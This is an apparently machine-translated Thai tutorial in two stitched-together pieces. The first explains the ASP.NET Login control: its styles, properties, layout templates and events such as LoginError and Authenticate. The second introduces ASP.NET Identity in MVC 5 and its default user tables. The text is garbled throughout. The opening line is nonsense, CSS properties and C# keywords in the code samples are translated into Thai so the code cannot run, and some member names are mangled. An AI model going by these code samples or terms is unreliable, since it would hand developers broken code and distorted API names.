น่าเกลียดเข้าสู่ระบบ asp. เซิร์ฟเวอร์ eus สำหรับการทำงานกับบัญชีผู้ใช้ จะเกิดอะไรขึ้นหากคุณไม่พบหน้าที่ใช้อินพุต

การควบคุมการเข้าสู่ระบบ

การควบคุมการเข้าสู่ระบบทำให้ง่ายต่อการสร้างหน้าเข้าสู่ระบบการตรวจสอบความถูกต้องของแบบฟอร์มร่วมกับ Membership API มีอินเทอร์เฟซผู้ใช้พร้อมใช้ที่พร้อมท์ให้ใส่ชื่อผู้ใช้และรหัสผ่าน และมีปุ่มให้ผู้ใช้เข้าสู่ระบบ เบื้องหลังจะสรุปฟังก์ชันการทำงานที่อธิบายไว้ในบทความก่อนหน้านี้: การตรวจสอบข้อมูลประจำตัวผู้ใช้ผ่าน Membership API และการห่อหุ้มฟังก์ชันการรับรองความถูกต้องของแบบฟอร์มพื้นฐาน เช่น การเปลี่ยนเส้นทางไปยังหน้าที่ร้องขอในตอนแรกในพื้นที่ปลอดภัยของแอปพลิเคชันหลังจากการเข้าสู่ระบบสำเร็จ

ซึ่งหมายความว่าการเข้าสู่ระบบจะสรุปสิ่งต่างๆ เช่น Membership.ValidateUser() หรือ FormsAuthentication.RedirectFromLoginPage() ดังนั้นคุณจึงไม่ต้องเขียนโค้ดนี้ด้วยตนเอง รูปด้านล่างแสดงการควบคุมการเข้าสู่ระบบในการดำเนินการ:

เมื่อใดก็ตามที่ผู้ใช้คลิกปุ่มเข้าสู่ระบบ ตัวควบคุมจะตรวจสอบชื่อผู้ใช้และรหัสผ่านโดยอัตโนมัติโดยใช้ฟังก์ชัน Membership.ValidateUser() แล้วเรียกใช้ FormsAuthenication.RedirectFromLoginPage() หากการตรวจสอบสำเร็จ ตัวเลือกการควบคุมการเข้าสู่ระบบทั้งหมดจะส่งผลต่ออินพุตที่ส่งไปยังวิธีการเหล่านี้ ตัวอย่างเช่น หากคุณเลือกช่องทำเครื่องหมาย "จดจำฉันในครั้งต่อไป" กล่องนั้นจะผ่านค่า true ในพารามิเตอร์ createPersistentCookie ของเมธอด RedirectFromLoginPage() ดังนั้น FormsAuthenticationModule จะสร้างคุกกี้ถาวร

เบื้องหลังการเข้าสู่ระบบคือการควบคุมคอมโพสิต ASP.NET มันสามารถขยายได้อย่างเต็มที่ ในแง่ที่ว่าคุณสามารถแทนที่สไตล์และคุณสมบัติของเลย์เอาต์ได้ เช่นเดียวกับเหตุการณ์ที่สร้างกับดักเพื่อแทนที่พฤติกรรมเริ่มต้น หากคุณปล่อยการควบคุมไว้ตามเดิมและไม่พบเหตุการณ์ใดๆ ระบบจะใช้ผู้ให้บริการสมาชิกที่กำหนดค่าไว้สำหรับแอปพลิเคชันโดยอัตโนมัติ

รูปแบบที่ง่ายที่สุดของการควบคุมการเข้าสู่ระบบบนหน้ามีลักษณะดังนี้:

มีคุณสมบัติหลายอย่างเพื่อเปลี่ยนลักษณะที่ปรากฏของตัวควบคุมการเข้าสู่ระบบ คุณสามารถใช้การตั้งค่ารูปแบบต่างๆ ดังที่แสดงด้านล่าง:

คุณยังสามารถใช้คลาส CSS เพื่อปรับแต่งรูปลักษณ์ของการเข้าสู่ระบบได้อีกด้วย แต่ละคุณสมบัติสไตล์ที่สนับสนุนโดยตัวควบคุมการเข้าสู่ระบบจะมีคุณสมบัติ CssClass เช่นเดียวกับตัวควบคุม ASP.NET อื่นๆ คุณสมบัตินี้อนุญาตให้คุณระบุชื่อของคลาส CSS ที่เพิ่มลงในเว็บไซต์ก่อนหน้านี้ สมมติว่ามีการเพิ่มสไตล์ชีต CSS ต่อไปนี้ในโปรเจ็กต์ด้วยชื่อไฟล์ MyStyles.css:

MyLoginTextBoxStyle ( เคอร์เซอร์: ตัวชี้; สีพื้นหลัง: สีเหลือง; จัดข้อความ: กึ่งกลาง; ช่องว่างภายใน: 6px; เส้นขอบ: จุดสีดำ; ตระกูลแบบอักษร: Verdana; การจัดแนวแนวตั้ง: กลาง; ) .Login ( display:inline-block; ) .ชื่อ ( padding: 6px; )

ไฟล์รูปแบบนี้สามารถรวมไว้ในหน้าเข้าสู่ระบบเพื่อให้สามารถกำหนดรูปแบบองค์ประกอบการเข้าสู่ระบบได้:

ตารางต่อไปนี้แสดงรายการสไตล์ที่สนับสนุนโดยตัวควบคุมการเข้าสู่ระบบ แต่ละสไตล์ทำงานในลักษณะเดียวกัน คุณสามารถตั้งค่าคุณสมบัติแบบอักษรและสีได้โดยตรง หรือคุณสามารถใช้คุณสมบัติ CssClass เพื่อระบุคลาส CSS ที่ต้องการได้:

รูปแบบที่รองรับโดยการควบคุมการเข้าสู่ระบบ
สไตล์ คำอธิบาย
CheckBoxStyle

กำหนดคุณสมบัติสไตล์สำหรับช่องทำเครื่องหมายจดจำฉันในครั้งต่อไป

สไตล์ความล้มเหลว

ระบุสไตล์สำหรับข้อความที่แสดงเมื่อการเข้าสู่ระบบล้มเหลว

HyperLinkStyle

ตัวควบคุมการเข้าสู่ระบบช่วยให้คุณสามารถกำหนดไฮเปอร์ลิงก์ได้หลายประเภท เช่น หน้าการลงทะเบียนเริ่มต้น สไตล์นี้กำหนดลักษณะที่ปรากฏของไฮเปอร์ลิงก์ดังกล่าว

คำแนะนำข้อความสไตล์

ตัวควบคุมการเข้าสู่ระบบช่วยให้คุณสามารถระบุข้อความช่วยเหลือที่แสดงในตัวมันเองได้โดยตรง สไตล์นี้กำหนดลักษณะที่ปรากฏของข้อความนี้

LabelStyle

กำหนดรูปแบบสำหรับป้ายกำกับ User Name (ชื่อผู้ใช้) และ Password (รหัสผ่าน)

เข้าสู่ระบบปุ่มสไตล์

ระบุรูปแบบของปุ่มเข้าสู่ระบบ

TextBoxStyle

ระบุรูปแบบสำหรับฟิลด์ข้อความชื่อผู้ใช้และรหัสผ่าน

TitleTextStyle

ระบุรูปแบบของข้อความส่วนหัวสำหรับตัวควบคุมการเข้าสู่ระบบ

เครื่องมือตรวจสอบข้อความสไตล์

กำหนดรูปแบบสำหรับการควบคุมที่ใช้ตรวจสอบชื่อผู้ใช้และรหัสผ่าน

อินเทอร์เฟซผู้ใช้ขององค์ประกอบการเข้าสู่ระบบไม่เพียงแต่ปรับแต่งได้ผ่านสไตล์เหล่านี้เท่านั้น คุณสมบัติเพิ่มเติมอื่นๆ มีไว้สำหรับส่วนเฉพาะของเนื้อหาของตัวควบคุม เช่น ปุ่มเข้าสู่ระบบ ซึ่งช่วยให้คุณปรับแต่ง GUI ได้

ตัวอย่างเช่น คุณสามารถเลือกข้อความที่แสดงบนปุ่มเข้าสู่ระบบ หรือแม้แต่แสดงไฮเปอร์ลิงก์แทนปุ่มนี้ (ตามค่าเริ่มต้น) นอกจากนี้ คุณสามารถเพิ่มไฮเปอร์ลิงก์หลายรายการไปยังส่วนควบคุมการเข้าสู่ระบบได้ เช่น ลิงก์ไปยังหน้าวิธีใช้หรือหน้าการลงทะเบียน หน้าทั้งสองต้องเปิดสำหรับการเข้าถึงแบบไม่ระบุชื่อ เนื่องจากต้องให้ความช่วยเหลือแก่ผู้ใช้ที่ไม่ระบุชื่อด้วย (โปรดจำไว้ว่า ถ้ามีคนเห็นส่วนควบคุมการเข้าสู่ระบบ แสดงว่าพวกเขาอาจเป็นผู้ใช้ที่ไม่ระบุชื่อ) หากต้องการรวมลิงก์เพิ่มเติมในการเข้าสู่ระบบ ให้แก้ไขคำจำกัดความที่แสดงก่อนหน้านี้ดังนี้:

...

รหัสนี้ทำให้แสดงลิงก์เพิ่มเติมสองลิงก์ ลิงก์หนึ่งไปยังหน้าความช่วยเหลือและอีกลิงก์หนึ่งไปยังหน้าการลงทะเบียนเริ่มต้น และเพิ่มข้อความคำแนะนำสั้นๆ ใต้ส่วนหัวขององค์ประกอบการเข้าสู่ระบบ:

สไตล์ที่อธิบายไว้ก่อนหน้านี้จะนำไปใช้กับคุณสมบัติเหล่านี้ด้วย ตารางต่อไปนี้อธิบายคุณสมบัติที่สำคัญสำหรับการกำหนดคอนโทรลการเข้าสู่ระบบเอง:

คุณสมบัติที่สำคัญสำหรับการปรับแต่งการควบคุมการเข้าสู่ระบบ
คุณสมบัติ คำอธิบาย
ข้อความ
ข้อความชื่อเรื่อง

ข้อความที่แสดงในชื่อของตัวควบคุม

คำแนะนำข้อความ

มีการใช้คุณสมบัตินี้ในข้อมูลโค้ดก่อนหน้านี้แล้ว ประกอบด้วยข้อความที่แสดงด้านล่างชื่อเรื่องของตัวควบคุม

ข้อความล้มเหลว

ข้อความที่แสดงโดยตัวควบคุมการเข้าสู่ระบบหากความพยายามในการเข้าสู่ระบบล้มเหลว

ชื่อผู้ใช้ป้ายข้อความ

ข้อความที่แสดงเป็นป้ายกำกับหน้าช่องข้อความชื่อผู้ใช้

รหัสผ่านป้ายข้อความ

ข้อความที่แสดงเป็นป้ายกำกับด้านหน้าช่องข้อความรหัสผ่านของผู้ใช้

ชื่อผู้ใช้

ค่าเริ่มต้นที่เติมฟิลด์ข้อความชื่อผู้ใช้

ชื่อผู้ใช้RequiredErrorMessage

ข้อความแสดงข้อผิดพลาดปรากฏขึ้นหากผู้ใช้ไม่ได้ป้อนชื่อ

PasswordRequiredErrorMessage

ข้อความแสดงข้อผิดพลาดปรากฏขึ้นหากผู้ใช้ไม่ได้ป้อนรหัสผ่าน

ปุ่มเข้าสู่ระบบ
เข้าสู่ระบบปุ่มข้อความ

ข้อความที่แสดงบนปุ่มเข้าสู่ระบบ

ประเภทปุ่มเข้าสู่ระบบ
เข้าสู่ระบบButtonImageUrl

หากปุ่มเข้าสู่ระบบแสดงเป็นภาพกราฟิก คุณต้องระบุ URL ที่ตำแหน่งของภาพนี้

หน้าเข้าสู่ระบบ
DestinationPageUrl

หากการพยายามเข้าสู่ระบบสำเร็จ การควบคุมการเข้าสู่ระบบจะเปลี่ยนเส้นทางผู้ใช้ไปที่หน้านี้ โดยค่าเริ่มต้น คุณสมบัตินี้จะว่างเปล่า ถ้าว่างเปล่า ใช้เฟรมเวิร์กการรับรองความถูกต้องของฟอร์มเพื่อเปลี่ยนเส้นทางไปยังหน้าที่ร้องขอเดิมหรือไปยัง defaultUrl ที่กำหนดค่าใน web.config สำหรับการตรวจสอบสิทธิ์ของฟอร์ม

FailureAction

ระบุการดำเนินการที่ตัวควบคุมดำเนินการหลังจากการพยายามเข้าสู่ระบบที่ล้มเหลว สองตัวเลือกที่ถูกต้องคือ รีเฟรช และ RedirectToLoginPage ค่าแรกทำให้เฉพาะหน้าปัจจุบันที่จะรีเฟรช ในขณะที่ค่าที่สองเปลี่ยนเส้นทางไปยังหน้าเข้าสู่ระบบที่กำหนดค่าไว้ ตัวเลือกที่สองมีประโยชน์หากมีการใช้การควบคุมการเข้าสู่ระบบที่อื่นนอกเหนือจากในหน้าการเข้าสู่ระบบ

มองเห็นได้เมื่อเข้าสู่ระบบ

หากตั้งค่าเป็น "เท็จ" ตัวควบคุมจะซ่อนตัวเองโดยอัตโนมัติหากผู้ใช้เข้าสู่ระบบอยู่แล้ว หากตั้งค่าเป็น true (ค่าเริ่มต้น) องค์ประกอบการเข้าสู่ระบบจะปรากฏขึ้นแม้ว่าผู้ใช้จะเข้าสู่ระบบแล้วก็ตาม

การปรับแต่งแท็ก "จดจำฉัน"
DisplayRememberMe

อนุญาตให้คุณแสดงหรือซ่อนกล่องกาเครื่องหมายจดจำฉันในครั้งต่อไป คุณสมบัตินี้ถูกตั้งค่าเป็นจริงตามค่าเริ่มต้น

จำฉันตั้ง

ระบุค่าเริ่มต้นของกล่องกาเครื่องหมายจดจำฉันในครั้งต่อไป โดยค่าเริ่มต้น คุณสมบัตินี้ถูกตั้งค่าเป็นเท็จ กล่าวคือ ไม่ได้ทำเครื่องหมายที่ช่องทำเครื่องหมาย

หน้าลงทะเบียน
CreateUserUrl

กำหนดไฮเปอร์ลิงก์ไปยังหน้าเว็บไซต์ที่อนุญาตให้คุณสร้าง (ลงทะเบียน) ผู้ใช้ ดังนั้นจึงมักใช้เพื่ออนุญาตให้ผู้ใช้เข้าถึงหน้าการลงทะเบียนเริ่มต้น ซึ่งมักจะแสดงตัวควบคุม CreateUserWizard

CreateUserText
CreateUserIconUrl

URL ของกราฟิกที่จะแสดงพร้อมข้อความไฮเปอร์ลิงก์ CreateUserUrl

หน้าช่วยเหลือ
HelpPageUrl

URL ที่จะเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าช่วยเหลือ

HelpPageText
HelpPageIconUrl

URL ของไอคอนที่แสดงพร้อมกับข้อความไฮเปอร์ลิงก์ HelpPageUrl

หน้ากู้คืนรหัสผ่าน
Password RecoveryUrl

URL ที่จะเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าการกู้คืนรหัสผ่าน หน้านี้ใช้เมื่อผู้ใช้ลืมรหัสผ่าน มันมักจะแสดงการควบคุมการกู้คืนรหัสผ่าน

ข้อความกู้คืนรหัสผ่าน
การกู้คืนรหัสผ่านIconUrl

URL ของไอคอนที่แสดงพร้อมกับข้อความไฮเปอร์ลิงก์ PasswordRecoveryUrl

แม่แบบและการควบคุมการเข้าสู่ระบบ

อย่างที่คุณเห็น ด้วยคุณสมบัติทั้งหมดเหล่านี้ การควบคุมการเข้าสู่ระบบสามารถปรับแต่งได้อย่างมาก แต่อย่างที่คุณอาจสังเกตเห็น เป็นไปไม่ได้ที่จะกำหนดนิพจน์เพื่อตรวจสอบความถูกต้องของอินพุต แน่นอน คุณสามารถใช้การตรวจสอบฝั่งเซิร์ฟเวอร์ภายในขั้นตอนเหตุการณ์ที่นำเสนอโดยส่วนควบคุมการเข้าสู่ระบบ เมื่อคุณต้องการเพิ่มองค์ประกอบบางอย่างในตัวควบคุมคอมโพสิตการเข้าสู่ระบบ คุณไม่สามารถทำได้โดยใช้คุณสมบัติข้างต้น ตัวอย่างเช่น ถ้าคุณต้องการฟิลด์ข้อความที่สองสำหรับการตรวจสอบสิทธิ์อย่างเข้มงวดด้วยรหัสผ่านที่สองหรือคีย์การเข้าถึงที่กำหนดเอง เช่นเดียวกับที่ทำในไซต์ของรัฐบาลบางแห่ง

โชคดีที่ เช่นเดียวกับการควบคุมอื่นๆ เช่น GridView การควบคุมการเข้าสู่ระบบรองรับเทมเพลต เมื่อใช้เทมเพลต คุณสามารถปรับแต่งเนื้อหาของส่วนควบคุมการเข้าสู่ระบบได้โดยไม่มีข้อจำกัดใดๆ คุณสามารถเพิ่มการควบคุมใหม่ได้ ใช้เทมเพลตแบบกำหนดเองกับตัวควบคุมการเข้าสู่ระบบโดยใช้หมายเลขอ้างอิง LayoutTemplate:

เข้าสู่ระบบ

ชื่อผู้ใช้:
รหัสผ่าน:


เมื่อพิจารณาจากโค้ดข้างต้นแล้ว มีคำถามหนึ่งเกิดขึ้น: หากคุณต้องเขียนโค้ด UI จำนวนมากเมื่อกำหนดเทมเพลตเอง (หรือออกแบบในตัวออกแบบภาพ) ทำไมไม่เขียนหน้าล็อกอินของคุณเองโดยไม่ใช้ส่วนควบคุมการเข้าสู่ระบบล่ะ

นี่เป็นคำถามที่ถูกต้อง อย่างไรก็ตาม ตามที่อธิบายไว้ก่อนหน้านี้ ส่วนต่อประสานเป็นเพียงส่วนหนึ่งขององค์ประกอบการเข้าสู่ระบบ ตัวอย่างเช่น ในกรณีที่ผู้ใช้คลิกปุ่มเข้าสู่ระบบ ตัวควบคุมการเข้าสู่ระบบมีรหัสที่จำเป็นทั้งหมดอยู่แล้วเพื่อตรวจสอบความถูกต้องของผู้ใช้กับร้านค้าที่เป็นสมาชิกโดยอัตโนมัติ และเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าเดิมที่ร้องขอผ่านกรอบงานการรับรองความถูกต้องของแบบฟอร์ม ดังนั้นคุณจึงไม่ต้องยุ่งยากในการเขียนโค้ดนี้อย่างแน่นอน

ด้วยการควบคุมที่ถูกต้องและค่า ID ที่ถูกต้องสำหรับการควบคุมเหล่านั้น คุณไม่จำเป็นต้องเขียนโค้ดการจัดการเหตุการณ์ใดๆ โค้ดทำงานตามปกติ ยกเว้นว่าคุณกำหนดชุดการควบคุมและเลย์เอาต์ อันที่จริง การควบคุมการเข้าสู่ระบบต้องมีช่องข้อความอย่างน้อยสองช่องที่มี ID ชื่อผู้ใช้และรหัสผ่าน หากฟิลด์ข้อความทั้งสองนี้หายไป (หรือมีค่า ID ต่างกัน) การเข้าสู่ระบบจะมีข้อยกเว้น การควบคุมอื่น ๆ ทั้งหมดเป็นทางเลือก แต่ถ้าคุณระบุค่า ID ที่เหมาะสม (เช่น เข้าสู่ระบบสำหรับปุ่มเข้าสู่ระบบ) การเข้าสู่ระบบจะจัดการเหตุการณ์ของพวกเขาโดยอัตโนมัติ และจะทำงานเหมือนกับที่พวกเขาทำเมื่อมีการใช้เค้าโครงเริ่มต้น

ตารางด้านล่างแสดงรายการค่าตัวระบุพิเศษ ประเภทองค์ประกอบที่จำเป็นสำหรับค่าเหล่านี้ และแฟล็กบังคับ:

ตัวควบคุมการเข้าสู่ระบบสามารถเป็นตัวควบคุมใดๆ ที่สนับสนุนการเดือดปุดของเหตุการณ์และคุณสมบัติ CommandName สิ่งสำคัญคือต้องตั้งค่าคุณสมบัติ CommandName ขององค์ประกอบนี้เพื่อเข้าสู่ระบบ เนื่องจาก มิฉะนั้น ตัวควบคุมการเข้าสู่ระบบจะไม่รู้จักระหว่างการจัดการเหตุการณ์ ถ้าคุณไม่เพิ่มการควบคุมด้วยคุณสมบัติ CommandName ที่ตั้งค่าเป็น Login คุณจะต้องจัดการเหตุการณ์ด้วยตัวเองและเขียนรหัสที่เหมาะสมเพื่อตรวจสอบชื่อผู้ใช้และรหัสผ่าน และเปลี่ยนเส้นทางไปยังหน้าที่ร้องขอเดิม

คุณยังสามารถเพิ่มการควบคุมด้วย ID อื่นที่ไม่เกี่ยวข้องกับการเข้าสู่ระบบเลย โค้ดด้านบนใช้องค์ประกอบ RequiredFieldValidator และ RegularExpressionValidator เพื่อตรวจสอบฟิลด์ชื่อผู้ใช้และรหัสผ่าน

เมื่อใช้ LayoutTemplate คุณสมบัติหลายอย่างที่มีอยู่ในตัวควบคุมจะไม่สามารถใช้งานได้ เมื่อใช้เทมเพลต จะเหลือเพียงคุณสมบัติต่อไปนี้เท่านั้น:

    DestinationPageUrl

    มองเห็นได้เมื่อเข้าสู่ระบบ

  • ผู้ให้บริการสมาชิก

คุณสมบัติสไตล์ทั้งหมดและคุณสมบัติการปรับแต่งเนื้อหาข้อความเริ่มต้นขององค์ประกอบต่างๆ จะไม่พร้อมใช้งานใน Visual Studio Property Editor อีกต่อไป เนื่องจากสามารถเพิ่มด้วยตนเองเป็นตัวควบคุมแต่ละรายการหรือข้อความคงที่ในเทมเพลตองค์ประกอบการเข้าสู่ระบบ หากคุณเพิ่มองค์ประกอบเหล่านี้ไปยังองค์ประกอบการเข้าสู่ระบบในโหมดเทมเพลต พวกมันจะถูกละเว้นเนื่องจากเทมเพลตจะแทนที่อินเทอร์เฟซเริ่มต้นขององค์ประกอบการเข้าสู่ระบบที่ใช้คุณสมบัติเหล่านี้

การเขียนโปรแกรมควบคุมการเข้าสู่ระบบ

ตัวควบคุมการเข้าสู่ระบบสนับสนุนเหตุการณ์และคุณสมบัติหลายอย่างที่คุณสามารถใช้เพื่อกำหนดลักษณะการทำงานเองได้ สิ่งเหล่านี้ให้การควบคุมแบบเต็มสำหรับการปรับแต่งการควบคุมการเข้าสู่ระบบอย่างละเอียด (พร้อมกับเครื่องมือปรับแต่งเองอื่นๆ เช่น เทมเพลตและคุณสมบัติของสไตล์) การควบคุมการเข้าสู่ระบบรองรับเหตุการณ์ที่แสดงในตารางด้านล่าง:

เหตุการณ์ควบคุมการเข้าสู่ระบบ
เหตุการณ์ คำอธิบาย
เข้าสู่ระบบ

ยิงก่อนที่ผู้ใช้จะได้รับการตรวจสอบสิทธิ์โดยตัวควบคุม

เข้าสู่ระบบ

เริ่มทำงานหลังจากที่ผู้ใช้ได้รับการตรวจสอบสิทธิ์โดยตัวควบคุม

ข้อผิดพลาดในการเข้าสู่ระบบ

เริ่มทำงานเมื่อความพยายามเข้าสู่ระบบของผู้ใช้ล้มเหลวด้วยเหตุผลบางประการ (เช่น รหัสผ่านหรือชื่อผู้ใช้ไม่ถูกต้อง)

ตรวจสอบสิทธิ์

เริ่มต้นเพื่อตรวจสอบผู้ใช้ หากคุณจัดการเหตุการณ์นี้ คุณต้องตรวจสอบสิทธิ์ผู้ใช้ด้วยตนเอง และการควบคุมการเข้าสู่ระบบจะใช้รหัสการตรวจสอบสิทธิ์ของคุณทั้งหมด

สามเหตุการณ์แรกสามารถจัดการได้เพื่อดำเนินการบางอย่างก่อนการตรวจสอบผู้ใช้ หลังการตรวจสอบสิทธิ์ และหากเกิดข้อผิดพลาดระหว่างการตรวจสอบสิทธิ์ ตัวอย่างเช่น สามารถใช้เหตุการณ์ LoginError เพื่อเปลี่ยนเส้นทางผู้ใช้ไปยังหน้าการกู้คืนรหัสผ่านโดยอัตโนมัติหลังจากพยายามเข้าสู่ระบบตามจำนวนที่กำหนด ดังที่แสดงด้านล่าง:

ป้องกัน void Page_Load(ผู้ส่งอ็อบเจ็กต์, EventArgs e) ( if (!this.IsPostBack) ViewState["LoginErrors"] = 0; ) ป้องกัน void Login1_LoginError(ผู้ส่งอ็อบเจ็กต์ EventArgs e) ( // หากสถานะ LoginErrors ไม่มีอยู่ ให้สร้าง มัน if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // เพิ่มตัวนับความพยายามในการเข้าสู่ระบบที่ล้มเหลว int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors "] = ErrorCount ; // ตรวจสอบจำนวนครั้งที่ล้มเหลวหาก ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

ตัวควบคุมการเข้าสู่ระบบจะยิงเหตุการณ์ตามลำดับที่แสดงในรูปด้านล่าง:

ดังที่กล่าวไว้ก่อนหน้านี้ หากคุณกำลังจับเหตุการณ์ Authenticate คุณต้องเพิ่มชื่อผู้ใช้และรหัสตรวจสอบรหัสผ่านของคุณเอง คุณสมบัติ ตรวจสอบสิทธิ์รักษาอินสแตนซ์ของรายการพารามิเตอร์ AuthenticateEventArgs คลาสอาร์กิวเมนต์เหตุการณ์นี้สนับสนุนคุณสมบัติหนึ่งชื่อ Authenticated หากตั้งค่าเป็น true การควบคุมการเข้าสู่ระบบจะถือว่าการรับรองความถูกต้องสำเร็จและเริ่มต้นเหตุการณ์ LogedIn หากคุณตั้งค่าคุณสมบัตินี้เป็นเท็จ ข้อความ FailureText จะปรากฏขึ้นและเหตุการณ์ LoginError จะเพิ่มขึ้น:

ป้องกันเป็นโมฆะ Login1_Authenticate (ผู้ส่งอ็อบเจ็กต์ AuthenticateEventArgs e) ( if (Membership.ValidateUser(Login1.UserName, Login1.Password)) ( e.Authenticated = true; ) else ( e.Authenticated = false; ) )

อย่างที่คุณเห็นมีการเข้าถึงโดยตรงไปยังค่าที่ป้อนผ่านคุณสมบัติชื่อผู้ใช้และรหัสผ่านซึ่งมีข้อความที่ป้อนในฟิลด์ข้อความที่เกี่ยวข้อง หากคุณกำลังใช้การควบคุมเทมเพลตและต้องการรับค่าจากองค์ประกอบอื่น นอกเหนือจากองค์ประกอบที่มี ID ชื่อผู้ใช้และรหัสผ่าน คุณสามารถใช้เมธอด FindControl() เพื่อรับองค์ประกอบเพิ่มเติมนั้นได้ เมธอดนี้ใช้ ID ขององค์ประกอบที่ต้องการและส่งคืนอินสแตนซ์ของ System.Web.UI.Control วัตถุที่ได้จะถูกส่งต่อไปยังประเภทของการควบคุมที่ต้องการ และอ่านค่าที่จำเป็นสำหรับวิธีการยืนยันตัวตนผู้ใช้แบบกำหนดเอง

ปรับปรุงล่าสุด: 31.10.2015

การเปิดตัว ASP.NET MVC 5 ถูกทำเครื่องหมายด้วยการเปิดตัวระบบการอนุญาตและการตรวจสอบสิทธิ์ใหม่ในแอปพลิเคชัน .NET ที่เรียกว่า ASP.NET Identity ระบบนี้ได้แทนที่ผู้ให้บริการ Simple Membership ที่แนะนำใน ASP.NET MVC 4

เมื่อคลิกที่ปุ่ม Change Authentication เราสามารถเปลี่ยนประเภทการรับรองความถูกต้องโดยเลือกอย่างใดอย่างหนึ่งต่อไปนี้:

    ไม่มีการตรวจสอบสิทธิ์ : ASP.NET Identity และไม่มีระบบตรวจสอบสิทธิ์ในตัว

    บัญชีผู้ใช้ส่วนบุคคล : โดยค่าเริ่มต้น โปรเจ็กต์จะมีระบบข้อมูลประจำตัว ASP.NET ซึ่งอนุญาตให้คุณอนุญาตผู้ใช้ทั้งภายในแอปพลิเคชันและใช้บริการภายนอก เช่น google, twitter เป็นต้น

    บัญชีองค์กร : เหมาะสำหรับเว็บไซต์และเว็บแอปพลิเคชันของแต่ละบริษัทและองค์กร

    Windows Authentication: ระบบตรวจสอบสิทธิ์สำหรับอินทราเน็ตโดยใช้บัญชี Windows

ปล่อยให้เป็นค่าเริ่มต้น นั่นคือ บัญชีผู้ใช้ส่วนบุคคล และสร้างโครงการ

โครงการที่สร้างขึ้นตามค่าเริ่มต้นแล้วมีโครงสร้างพื้นฐานทั้งหมดที่จำเป็นสำหรับการให้สิทธิ์: โมเดล ตัวควบคุม มุมมอง หากเราดูโหนดอ้างอิง (ไลบรารี) เราจะเห็นไลบรารีคีย์จำนวนหนึ่งที่นั่น ซึ่งมีคลาสที่จำเป็นสำหรับการให้สิทธิ์และการรับรองความถูกต้อง:

เหล่านี้เป็นชุดของไลบรารี OWIN ที่เพิ่มฟังก์ชันการทำงานของ OWIN ให้กับโปรเจ็กต์ เช่นเดียวกับไลบรารีสามตัวของ ASP.NET Identity เอง:

    Microsoft.AspNet.Identity.EntityFramework: มีคลาส Entity Framework ที่ใช้ ASP.NET Identity และสื่อสารกับ SQL Server

    Microsoft.AspNet.Identity.Core: ประกอบด้วยอินเทอร์เฟซ ASP.NET Identity ที่สำคัญจำนวนหนึ่ง การใช้งานอินเทอร์เฟซเหล่านี้จะช่วยให้คุณก้าวไปไกลกว่า MS SQL Server และใช้ DBMS อื่นเป็นที่จัดเก็บบัญชี ซึ่งรวมถึงระบบ NoSQL

    Microsoft.AspNet.Identity.OWIN: นำการตรวจสอบสิทธิ์ OWIN ไปยังแอปพลิเคชัน ASP.NET MVC โดยใช้ ASP.NET Identity

เนื่องจากโครงสร้างพื้นฐานทั้งหมดอยู่ในโปรเจ็กต์แล้ว เรามารันโปรเจ็กต์กันเถอะ เราจะพบลิงก์ในหน้าที่แสดงในเบราว์เซอร์ ลงทะเบียนและคลิกที่มัน ในหน้าการลงทะเบียนที่เปิดขึ้น ให้ป้อนข้อมูล:

หลังจากลงทะเบียนแล้ว การเข้าสู่ระบบจะปรากฏที่มุมขวาบนของหน้าเว็บของเว็บแอปพลิเคชัน หลังจากลงทะเบียนแล้ว เราสามารถออกจากระบบโดยคลิกที่ LogOff และเข้าสู่ระบบอีกครั้ง ดังนั้นเราจึงเริ่มใช้ระบบตรวจสอบสิทธิ์ในตัวในแอปพลิเคชัน ASP.NET MVC 5 ได้แล้ว ทีนี้มาดูประเด็นหลักกัน

อันดับแรก มันถูกเก็บไว้ที่ไหน? ข้อมูลของผู้ใช้ที่ลงทะเบียนไปอยู่ที่ไหน?

ในกรณีนี้ จะใช้แนวทาง Code First ไฟล์ web.config มีสตริงการเชื่อมต่อเริ่มต้นที่ระบุไดเรกทอรีฐานข้อมูลอยู่แล้ว หากเราขยายโฟลเดอร์ App_Data เราจะเห็นฐานข้อมูลที่สร้างขึ้น:

หากจู่ๆ ฐานข้อมูลไม่ปรากฏในโฟลเดอร์ ให้คลิกที่ปุ่ม Show All Files ที่ด้านบนของหน้าต่าง Solution Explorer

เราสามารถเปิดฐานข้อมูลนี้ในหน้าต่าง Server Explorer และดูเนื้อหาได้:

ตามค่าเริ่มต้น เมื่อผู้ใช้รายแรกลงทะเบียน ชุดของตารางต่อไปนี้จะถูกสร้างขึ้น:

    MigrationHistory : ใช้โดย EntityFramework สำหรับการย้ายฐานข้อมูล

    AspNetRoles : มีคำจำกัดความของบทบาท

    AspNetUserClaims : ตารางที่มีชุดการอ้างสิทธิ์ การอ้างสิทธิ์แสดงถึงรูปแบบการให้สิทธิ์ที่แตกต่างกันเมื่อเทียบกับบทบาท กล่าวโดยคร่าว ๆ การอ้างสิทธิ์ประกอบด้วยข้อมูลบางอย่างเกี่ยวกับผู้ใช้ เช่น ที่อยู่อีเมล การเข้าสู่ระบบ อายุ ฯลฯ และข้อมูลนี้ช่วยให้คุณระบุผู้ใช้และให้สิทธิ์การเข้าถึงที่เหมาะสมแก่เขา

    AspNetUserLogins : ตารางการเข้าสู่ระบบของผู้ใช้

    AspNetUserRoles : ตารางที่กำหนดบทบาทเฉพาะสำหรับผู้ใช้

    AspNetUsers : ตารางผู้ใช้เอง หากเราเปิดขึ้นมาเราจะเห็นข้อมูลของผู้ใช้ที่ลงทะเบียน

เอนทิตีหลักใน AspNet Identity คือผู้ใช้และบทบาท ฟังก์ชันทั้งหมดสำหรับการสร้าง การลบผู้ใช้ การโต้ตอบกับที่เก็บผู้ใช้จะถูกเก็บไว้ในคลาส UserManager ในการทำงานและจัดการบทบาท AspNet Identity จะกำหนดคลาส RoleManager คลาส UserManager และ RoleManager อยู่ในไลบรารี Microsoft.AspNet.Identity.Core

ผู้ใช้แต่ละคนสำหรับ UserManager แสดงถึงวัตถุของอินเทอร์เฟซ IUser และการดำเนินการจัดการผู้ใช้ทั้งหมดจะดำเนินการผ่านที่เก็บข้อมูลที่แสดงโดยอ็อบเจ็กต์ IUserStore

